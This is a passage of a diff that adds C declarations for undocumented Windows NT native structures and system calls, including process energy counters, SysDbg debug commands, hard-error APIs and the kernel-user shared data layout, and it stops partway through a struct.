+ +// private +typedef struct _PROCESS_DISK_COUNTERS +{ + ULONGLONG BytesRead; + ULONGLONG BytesWritten; + ULONGLONG ReadOperationCount; + ULONGLONG WriteOperationCount; + ULONGLONG FlushOperationCount; +} PROCESS_DISK_COUNTERS, *PPROCESS_DISK_COUNTERS; + +// private +typedef union _ENERGY_STATE_DURATION +{ + union + { + ULONGLONG Value; + ULONG LastChangeTime; + }; + + ULONG Duration : 31; + ULONG IsInState : 1; +} ENERGY_STATE_DURATION, *PENERGY_STATE_DURATION; + +typedef struct _PROCESS_ENERGY_VALUES +{ + ULONGLONG Cycles[4][2]; + ULONGLONG DiskEnergy; + ULONGLONG NetworkTailEnergy; + ULONGLONG MBBTailEnergy; + ULONGLONG NetworkTxRxBytes; + ULONGLONG MBBTxRxBytes; + union + { + ENERGY_STATE_DURATION Durations[3]; + struct + { + ENERGY_STATE_DURATION ForegroundDuration; + ENERGY_STATE_DURATION DesktopVisibleDuration; + ENERGY_STATE_DURATION PSMForegroundDuration; + }; + }; + ULONG CompositionRendered; + ULONG CompositionDirtyGenerated; + ULONG CompositionDirtyPropagated; + ULONG Reserved1; + ULONGLONG AttributedCycles[4][2]; + ULONGLONG WorkOnBehalfCycles[4][2]; +} PROCESS_ENERGY_VALUES, *PPROCESS_ENERGY_VALUES; + +typedef struct _TIMELINE_BITMAP +{ + ULONGLONG Value; + ULONG EndTime; + ULONG Bitmap; +} TIMELINE_BITMAP, *PTIMELINE_BITMAP; + +typedef struct _PROCESS_ENERGY_VALUES_EXTENSION +{ + union + { + TIMELINE_BITMAP Timelines[14]; // 9 for REDSTONE2, 14 for REDSTONE3/4/5 + struct + { + TIMELINE_BITMAP CpuTimeline; + TIMELINE_BITMAP DiskTimeline; + TIMELINE_BITMAP NetworkTimeline; + TIMELINE_BITMAP MBBTimeline; + TIMELINE_BITMAP ForegroundTimeline; + TIMELINE_BITMAP DesktopVisibleTimeline; + TIMELINE_BITMAP CompositionRenderedTimeline; + TIMELINE_BITMAP CompositionDirtyGeneratedTimeline; + TIMELINE_BITMAP CompositionDirtyPropagatedTimeline; + TIMELINE_BITMAP InputTimeline; // REDSTONE3 + TIMELINE_BITMAP AudioInTimeline; + TIMELINE_BITMAP AudioOutTimeline; + TIMELINE_BITMAP DisplayRequiredTimeline; + TIMELINE_BITMAP KeyboardInputTimeline; + }; + }; + + union // REDSTONE3 + { + ENERGY_STATE_DURATION Durations[5]; + struct + { + ENERGY_STATE_DURATION InputDuration; + ENERGY_STATE_DURATION AudioInDuration; + ENERGY_STATE_DURATION AudioOutDuration; + ENERGY_STATE_DURATION DisplayRequiredDuration; + ENERGY_STATE_DURATION PSMBackgroundDuration; + }; + }; + + ULONG KeyboardInput; + ULONG MouseInput; +} PROCESS_ENERGY_VALUES_EXTENSION, *PPROCESS_ENERGY_VALUES_EXTENSION; + +typedef struct _PROCESS_EXTENDED_ENERGY_VALUES +{ + PROCESS_ENERGY_VALUES Base; + PROCESS_ENERGY_VALUES_EXTENSION Extension; +} PROCESS_EXTENDED_ENERGY_VALUES, *PPROCESS_EXTENDED_ENERGY_VALUES; + +// private +typedef enum _SYSTEM_PROCESS_CLASSIFICATION +{ + SystemProcessClassificationNormal, + SystemProcessClassificationSystem, + SystemProcessClassificationSecureSystem, + SystemProcessClassificationMemCompression, + SystemProcessClassificationRegistry, // REDSTONE4 + SystemProcessClassificationMaximum +} SYSTEM_PROCESS_CLASSIFICATION; + +// private +typedef struct _SYSTEM_PROCESS_INFORMATION_EXTENSION +{ + PROCESS_DISK_COUNTERS DiskCounters; + ULONGLONG ContextSwitches; + union + { + ULONG Flags; + struct + { + ULONG HasStrongId : 1; + ULONG Classification : 4; // SYSTEM_PROCESS_CLASSIFICATION + ULONG BackgroundActivityModerated : 1; + ULONG Spare : 26; + }; + }; + ULONG UserSidOffset; + ULONG PackageFullNameOffset; // since THRESHOLD + PROCESS_ENERGY_VALUES EnergyValues; // since THRESHOLD + ULONG AppIdOffset; // since THRESHOLD + SIZE_T SharedCommitCharge; // since THRESHOLD2 + ULONG JobObjectId; // since REDSTONE + ULONG SpareUlong; // since REDSTONE + ULONGLONG ProcessSequenceNumber; +} SYSTEM_PROCESS_INFORMATION_EXTENSION, *PSYSTEM_PROCESS_INFORMATION_EXTENSION; + +// private +typedef struct _SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION +{ + BOOLEAN EfiLauncherEnabled; +} SYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION, *PSYSTEM_PORTABLE_WORKSPACE_EFI_LAUNCHER_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX +{ + BOOLEAN DebuggerAllowed; + BOOLEAN DebuggerEnabled; + BOOLEAN DebuggerPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION_EX, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION_EX; + +// private +typedef struct _SYSTEM_ELAM_CERTIFICATE_INFORMATION +{ + HANDLE ElamDriverFile; +} SYSTEM_ELAM_CERTIFICATE_INFORMATION, *PSYSTEM_ELAM_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_FEATURES_INFORMATION +{ + ULONGLONG ProcessorFeatureBits; + ULONGLONG Reserved[3]; +} SYSTEM_PROCESSOR_FEATURES_INFORMATION, *PSYSTEM_PROCESSOR_FEATURES_INFORMATION; + +// private +typedef struct _SYSTEM_MANUFACTURING_INFORMATION +{ + ULONG Options; + UNICODE_STRING ProfileName; +} SYSTEM_MANUFACTURING_INFORMATION, *PSYSTEM_MANUFACTURING_INFORMATION; + +// private +typedef struct _SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION +{ + BOOLEAN Enabled; +} SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION, *PSYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION; + +// private +typedef struct _HV_DETAILS +{ + ULONG Data[4]; +} HV_DETAILS, *PHV_DETAILS; + +// private +typedef struct _SYSTEM_HYPERVISOR_DETAIL_INFORMATION +{ + HV_DETAILS HvVendorAndMaxFunction; + HV_DETAILS HypervisorInterface; + HV_DETAILS HypervisorVersion; + HV_DETAILS HvFeatures; + HV_DETAILS HwFeatures; + HV_DETAILS EnlightenmentInfo; + HV_DETAILS ImplementationLimits; +} SYSTEM_HYPERVISOR_DETAIL_INFORMATION, *PSYSTEM_HYPERVISOR_DETAIL_INFORMATION; + +// private +typedef struct _SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION +{ + ULONGLONG Cycles[4][2]; +} SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION, *PSYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION; + +// private +typedef struct _SYSTEM_TPM_INFORMATION +{ + ULONG Flags; +} SYSTEM_TPM_INFORMATION, *PSYSTEM_TPM_INFORMATION; + +// private +typedef struct _SYSTEM_VSM_PROTECTION_INFORMATION +{ + BOOLEAN DmaProtectionsAvailable; + BOOLEAN DmaProtectionsInUse; + BOOLEAN HardwareMbecAvailable; // REDSTONE4 (CVE-2018-3639) +} SYSTEM_VSM_PROTECTION_INFORMATION, *PSYSTEM_VSM_PROTECTION_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_DEBUGGER_FLAGS +{ + UCHAR KernelDebuggerIgnoreUmExceptions; +} SYSTEM_KERNEL_DEBUGGER_FLAGS, *PSYSTEM_KERNEL_DEBUGGER_FLAGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITYPOLICY_INFORMATION +{ + ULONG Options; + ULONG HVCIOptions; + ULONGLONG Version; + GUID PolicyGuid; +} SYSTEM_CODEINTEGRITYPOLICY_INFORMATION, *PSYSTEM_CODEINTEGRITYPOLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION +{ + BOOLEAN SecureKernelRunning : 1; + BOOLEAN HvciEnabled : 1; + BOOLEAN HvciStrictMode : 1; + BOOLEAN DebugEnabled : 1; + BOOLEAN FirmwarePageProtection : 1; + BOOLEAN EncryptionKeyAvailable : 1; + BOOLEAN SpareFlags : 2; + BOOLEAN TrustletRunning : 1; + BOOLEAN HvciDisableAllowed : 1; + BOOLEAN SpareFlags2 : 6; + BOOLEAN Spare0[6]; + ULONGLONG Spare1; +} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION; + +// private +typedef struct _SYSTEM_SINGLE_MODULE_INFORMATION +{ + PVOID TargetModuleAddress; + RTL_PROCESS_MODULE_INFORMATION_EX ExInfo; +} SYSTEM_SINGLE_MODULE_INFORMATION, *PSYSTEM_SINGLE_MODULE_INFORMATION; + +// private +typedef struct _SYSTEM_INTERRUPT_CPU_SET_INFORMATION +{ + ULONG Gsiv; + USHORT Group; + ULONGLONG CpuSets; +} SYSTEM_INTERRUPT_CPU_SET_INFORMATION, *PSYSTEM_INTERRUPT_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION +{ + SYSTEM_SECUREBOOT_POLICY_INFORMATION PolicyInformation; + ULONG PolicySize; + UCHAR Policy[1]; +} SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION; + +// private +typedef struct _SYSTEM_ROOT_SILO_INFORMATION +{ + ULONG NumberOfSilos; + ULONG SiloIdList[1]; +} SYSTEM_ROOT_SILO_INFORMATION, *PSYSTEM_ROOT_SILO_INFORMATION; + +// private +typedef struct _SYSTEM_CPU_SET_TAG_INFORMATION +{ + ULONGLONG Tag; + ULONGLONG CpuSets[1]; +} SYSTEM_CPU_SET_TAG_INFORMATION, *PSYSTEM_CPU_SET_TAG_INFORMATION; + +// private +typedef struct _SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION +{ + ULONG ExtentCount; + ULONG ValidStructureSize; + ULONG NextExtentIndex; + ULONG ExtentRestart; + ULONG CycleCount; + ULONG TimeoutCount; + ULONGLONG CycleTime; + ULONGLONG CycleTimeMax; + ULONGLONG ExtentTime; + ULONG ExtentTimeIndex; + ULONG ExtentTimeMaxIndex; + ULONGLONG ExtentTimeMax; + ULONGLONG HyperFlushTimeMax; + ULONGLONG TranslateVaTimeMax; + ULONGLONG DebugExemptionCount; + ULONGLONG TbHitCount; + ULONGLONG TbMissCount; + ULONGLONG VinaPendingYield; + ULONGLONG HashCycles; + ULONG HistogramOffset; + ULONG HistogramBuckets; + ULONG HistogramShift; + ULONG Reserved1; + ULONGLONG PageNotPresentCount; +} SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION, *PSYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION; + +// private +typedef struct _SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION +{ + ULONG PlatformManifestSize; + UCHAR PlatformManifest[1]; +} SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION, *PSYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION; + +// private +typedef struct _SYSTEM_MEMORY_USAGE_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG AvailableBytes; + LONGLONG ResidentAvailableBytes; + ULONGLONG CommittedBytes; + ULONGLONG SharedCommittedBytes; + ULONGLONG CommitLimitBytes; + ULONGLONG PeakCommitmentBytes; +} SYSTEM_MEMORY_USAGE_INFORMATION, *PSYSTEM_MEMORY_USAGE_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION +{ + HANDLE ImageFile; + ULONG Type; // REDSTONE4 +} SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, *PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION; + +// private +typedef struct _SYSTEM_PHYSICAL_MEMORY_INFORMATION +{ + ULONGLONG TotalPhysicalBytes; + ULONGLONG LowestPhysicalAddress; + ULONGLONG HighestPhysicalAddress; +} SYSTEM_PHYSICAL_MEMORY_INFORMATION, *PSYSTEM_PHYSICAL_MEMORY_INFORMATION; + +// private +typedef enum _SYSTEM_ACTIVITY_MODERATION_STATE +{ + SystemActivityModerationStateSystemManaged, + SystemActivityModerationStateUserManagedAllowThrottling, + SystemActivityModerationStateUserManagedDisableThrottling, + MaxSystemActivityModerationState +} SYSTEM_ACTIVITY_MODERATION_STATE; + +// private - REDSTONE2 +typedef struct _SYSTEM_ACTIVITY_MODERATION_EXE_STATE // REDSTONE3: Renamed SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING ExePathNt; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; +} SYSTEM_ACTIVITY_MODERATION_EXE_STATE, *PSYSTEM_ACTIVITY_MODERATION_EXE_STATE; + +typedef enum _SYSTEM_ACTIVITY_MODERATION_APP_TYPE +{ + SystemActivityModerationAppTypeClassic, + SystemActivityModerationAppTypePackaged, + MaxSystemActivityModerationAppType +} SYSTEM_ACTIVITY_MODERATION_APP_TYPE; + +// private - REDSTONE3 +typedef struct _SYSTEM_ACTIVITY_MODERATION_INFO +{ + UNICODE_STRING Identifier; + SYSTEM_ACTIVITY_MODERATION_STATE ModerationState; + SYSTEM_ACTIVITY_MODERATION_APP_TYPE AppType; +} SYSTEM_ACTIVITY_MODERATION_INFO, *PSYSTEM_ACTIVITY_MODERATION_INFO; + +// private +typedef struct _SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS +{ + HANDLE UserKeyHandle; +} SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS, *PSYSTEM_ACTIVITY_MODERATION_USER_SETTINGS; + +// private +typedef struct _SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG Locked : 1; + ULONG UnlockApplied : 1; // Unlockable field removed 19H1 + ULONG UnlockIdValid : 1; + ULONG Reserved : 29; + }; + }; + UCHAR UnlockId[32]; // REDSTONE4 +} SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION, *PSYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION; + +// private +typedef struct _SYSTEM_FLUSH_INFORMATION +{ + ULONG SupportedFlushMethods; + ULONG ProcessorCacheFlushSize; + ULONGLONG SystemFlushCapabilities; + ULONGLONG Reserved[2]; +} SYSTEM_FLUSH_INFORMATION, *PSYSTEM_FLUSH_INFORMATION; + +// private +typedef struct _SYSTEM_WRITE_CONSTRAINT_INFORMATION +{ + ULONG WriteConstraintPolicy; + ULONG Reserved; +} SYSTEM_WRITE_CONSTRAINT_INFORMATION, *PSYSTEM_WRITE_CONSTRAINT_INFORMATION; + +// private +typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG KvaShadowEnabled : 1; + ULONG KvaShadowUserGlobal : 1; + ULONG KvaShadowPcid : 1; + ULONG KvaShadowInvpcid : 1; + ULONG KvaShadowRequired : 1; // REDSTONE4 + ULONG KvaShadowRequiredAvailable : 1; + ULONG InvalidPteBit : 6; + ULONG L1DataCacheFlushSupported : 1; + ULONG L1TerminalFaultMitigationPresent : 1; + ULONG Reserved : 18; + }; + }; +} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION; + +// private +typedef struct _SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION +{ + HANDLE FileHandle; + ULONG ImageSize; + PVOID Image; +} SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION, *PSYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION; + +// private +typedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION +{ + PVOID HypervisorSharedUserVa; +} SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION, *PSYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION; + +// private +typedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION +{ + UNICODE_STRING FirmwarePartition; +} SYSTEM_FIRMWARE_PARTITION_INFORMATION, *PSYSTEM_FIRMWARE_PARTITION_INFORMATION; + +// private +typedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION +{ + union + { + ULONG Flags; + struct + { + ULONG BpbEnabled : 1; + ULONG BpbDisabledSystemPolicy : 1; + ULONG BpbDisabledNoHardwareSupport : 1; + ULONG SpecCtrlEnumerated : 1; + ULONG SpecCmdEnumerated : 1; + ULONG IbrsPresent : 1; + ULONG StibpPresent : 1; + ULONG SmepPresent : 1; + ULONG SpeculativeStoreBypassDisableAvailable : 1; // REDSTONE4 (CVE-2018-3639) + ULONG SpeculativeStoreBypassDisableSupported : 1; + ULONG SpeculativeStoreBypassDisabledSystemWide : 1; + ULONG SpeculativeStoreBypassDisabledKernel : 1; + ULONG SpeculativeStoreBypassDisableRequired : 1; + ULONG BpbDisabledKernelToUser : 1; + ULONG SpecCtrlRetpolineEnabled : 1; + ULONG SpecCtrlImportOptimizationEnabled : 1; + ULONG EnhancedIbrs : 1; // since 19H1 + ULONG HvL1tfStatusAvailable : 1; + ULONG HvL1tfProcessorNotAffected : 1; + ULONG HvL1tfMigitationEnabled : 1; + ULONG HvL1tfMigitationNotEnabled_Hardware : 1; + ULONG HvL1tfMigitationNotEnabled_LoadOption : 1; + ULONG HvL1tfMigitationNotEnabled_CoreScheduler : 1; + ULONG EnhancedIbrsReported : 1; + ULONG MdsHardwareProtected : 1; // since 19H2 + ULONG MbClearEnabled : 1; + ULONG MbClearReported : 1; + ULONG Reserved : 5; + }; + }; +} SYSTEM_SPECULATION_CONTROL_INFORMATION, *PSYSTEM_SPECULATION_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_DMA_GUARD_POLICY_INFORMATION +{ + BOOLEAN DmaGuardPolicyEnabled; +} SYSTEM_DMA_GUARD_POLICY_INFORMATION, *PSYSTEM_DMA_GUARD_POLICY_INFORMATION; + +// private +typedef struct _SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION +{ + UCHAR EnclaveLaunchSigner[32]; +} SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION, *PSYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION; + +// private +typedef struct _SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION +{ + ULONGLONG WorkloadClass; + ULONGLONG CpuSets[1]; +} SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION, *PSYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION; + +// private +typedef struct _SYSTEM_SECURITY_MODEL_INFORMATION +{ + union + { + ULONG SecurityModelFlags; + struct + { + ULONG SModeAdminlessEnabled : 1; + ULONG AllowDeviceOwnerProtectionDowngrade : 1; + ULONG Reserved : 30; + }; + }; +} SYSTEM_SECURITY_MODEL_INFORMATION, *PSYSTEM_SECURITY_MODEL_INFORMATION; + +#if (PHNT_MODE != PHNT_MODE_KERNEL) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQuerySystemInformationEx( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetSystemInformation( + _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass, + _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation, + _In_ ULONG SystemInformationLength + ); + +// SysDbg APIs + +// private +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid, + SysDbgGetLiveKernelDump +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +enum _INTERFACE_TYPE; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +enum _BUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +// private +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS +{ + struct + { + ULONG UseDumpStorageStack : 1; + ULONG CompressMemoryPagesData : 1; + ULONG IncludeUserSpaceMemoryPages : 1; + ULONG AbortIfMemoryPressure : 1; // REDSTONE4 + ULONG Reserved : 28; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_FLAGS, *PSYSDBG_LIVEDUMP_CONTROL_FLAGS; + +// private +typedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES +{ + struct + { + ULONG HypervisorPages : 1; + ULONG Reserved : 31; + }; + ULONG AsUlong; +} SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, *PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES; + +#define SYSDBG_LIVEDUMP_CONTROL_VERSION 1 + +// private +typedef struct _SYSDBG_LIVEDUMP_CONTROL +{ + ULONG Version; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + HANDLE DumpFileHandle; + HANDLE CancelEventHandle; + SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags; + SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl; +} SYSDBG_LIVEDUMP_CONTROL, *PSYSDBG_LIVEDUMP_CONTROL; + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSystemDebugControl( + _In_ SYSDBG_COMMAND Command, + _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer, + _In_ ULONG InputBufferLength, + _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer, + _In_ ULONG OutputBufferLength, + _Out_opt_ PULONG ReturnLength + ); + +// Hard errors + +typedef enum _HARDERROR_RESPONSE_OPTION +{ + OptionAbortRetryIgnore, + OptionOk, + OptionOkCancel, + OptionRetryCancel, + OptionYesNo, + OptionYesNoCancel, + OptionShutdownSystem, + OptionOkNoWait, + OptionCancelTryContinue +} HARDERROR_RESPONSE_OPTION; + +typedef enum _HARDERROR_RESPONSE +{ + ResponseReturnToCaller, + ResponseNotHandled, + ResponseAbort, + ResponseCancel, + ResponseIgnore, + ResponseNo, + ResponseOk, + ResponseRetry, + ResponseYes, + ResponseTryAgain, + ResponseContinue +} HARDERROR_RESPONSE; + +#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000 + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRaiseHardError( + _In_ NTSTATUS ErrorStatus, + _In_ ULONG NumberOfParameters, + _In_ ULONG UnicodeStringParameterMask, + _In_reads_(NumberOfParameters) PULONG_PTR Parameters, + _In_ ULONG ValidResponseOptions, + _Out_ PULONG Response + ); + +// Kernel-user shared data + +typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE +{ + StandardDesign, + NEC98x86, + EndAlternatives +} ALTERNATIVE_ARCHITECTURE_TYPE; + +#define PROCESSOR_FEATURE_MAX 64 + +#define MAX_WOW64_SHARED_ENTRIES 16 + +#define NX_SUPPORT_POLICY_ALWAYSOFF 0 +#define NX_SUPPORT_POLICY_ALWAYSON 1 +#define NX_SUPPORT_POLICY_OPTIN 2 +#define NX_SUPPORT_POLICY_OPTOUT 3 + +#include +typedef struct _KUSER_SHARED_DATA +{ + ULONG TickCountLowDeprecated; + ULONG TickCountMultiplier; + + volatile KSYSTEM_TIME InterruptTime; + volatile KSYSTEM_TIME SystemTime; + volatile KSYSTEM_TIME TimeZoneBias; + + USHORT ImageNumberLow; + USHORT ImageNumberHigh; + + WCHAR NtSystemRoot[260]; + + ULONG MaxStackTraceDepth; + + ULONG CryptoExponent; + + ULONG TimeZoneId; + ULONG LargePageMinimum; + ULONG AitSamplingValue; + ULONG AppCompatFlag; + ULONGLONG RNGSeedVersion; + ULONG GlobalValidationRunlevel; + LONG TimeZoneBiasStamp; + + ULONG NtBuildNumber; + NT_PRODUCT_TYPE NtProductType; + BOOLEAN ProductTypeIsValid; + UCHAR Reserved0[1]; + USHORT NativeProcessorArchitecture; + + ULONG NtMajorVersion; + ULONG NtMinorVersion; + + BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX]; + + ULONG Reserved1; + ULONG Reserved3; + + volatile ULONG TimeSlip; + + ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture; + ULONG BootId; + + LARGE_INTEGER SystemExpirationDate; + + ULONG SuiteMask; + + BOOLEAN KdDebuggerEnabled; + union + { + UCHAR MitigationPolicies; + struct + { + UCHAR NXSupportPolicy : 2; + UCHAR SEHValidationPolicy : 2; + UCHAR CurDirDevicesSkippedForDlls : 2; + UCHAR Reserved : 2; + }; + }; + + USHORT CyclesPerYield; + + volatile ULONG ActiveConsoleId; + + volatile ULONG DismountCount; + + ULONG ComPlusPackage; + + ULONG LastSystemRITEventTickCount; + + ULONG NumberOfPhysicalPages; + + BOOLEAN SafeBootMode; + UCHAR VirtualizationFlags; + UCHAR Reserved12[2]; + + union + { + ULONG SharedDataFlags; + struct + { + ULONG DbgErrorPortPresent : 1; + ULONG DbgElevationEnabled : 1; + ULONG DbgVirtEnabled : 1; + ULONG DbgInstallerDetectEnabled : 1; + ULONG DbgLkgEnabled : 1; + ULONG DbgDynProcessorEnabled : 1; + ULONG DbgConsoleBrokerEnabled : 1; + ULONG DbgSecureBootEnabled : 1; + ULONG DbgMultiSessionSku : 1; + ULONG DbgMultiUsersInSessionSku : 1; + ULONG DbgStateSeparationEnabled : 1; + ULONG SpareBits : 21; + }; + }; + ULONG DataFlagsPad[1]; + + ULONGLONG TestRetInstruction; + LONGLONG QpcFrequency; + ULONG SystemCall; + ULONG SystemCallPad0; + ULONGLONG SystemCallPad[2]; + + union + { + volatile KSYSTEM_TIME TickCount; + volatile ULONG64 TickCountQuad; + ULONG ReservedTickCountOverlay[3]; + }; + ULONG TickCountPad[1]; + + ULONG Cookie; + ULONG CookiePad[1]; + + LONGLONG ConsoleSessionForegroundProcessId; + ULONGLONG TimeUpdateLock; + ULONGLONG BaselineSystemTimeQpc; + ULONGLONG BaselineInterruptTimeQpc; + ULONGLONG QpcSystemTimeIncrement; + ULONGLONG QpcInterruptTimeIncrement; + UCHAR QpcSystemTimeIncrementShift; + UCHAR QpcInterruptTimeIncrementShift; + + USHORT UnparkedProcessorCount; + ULONG EnclaveFeatureMask[4]; + + ULONG TelemetryCoverageRound; + + USHORT UserModeGlobalLogger[16]; + ULONG ImageFileExecutionOptions; + + ULONG LangGenerationCount; + ULONGLONG Reserved4; + volatile ULONG64 InterruptTimeBias; + volatile ULONG64 QpcBias; + + ULONG ActiveProcessorCount; + volatile UCHAR ActiveGroupCount; + UCHAR Reserved9; + union + { + USHORT QpcData; + struct + { + UCHAR QpcBypassEnabled : 1; + 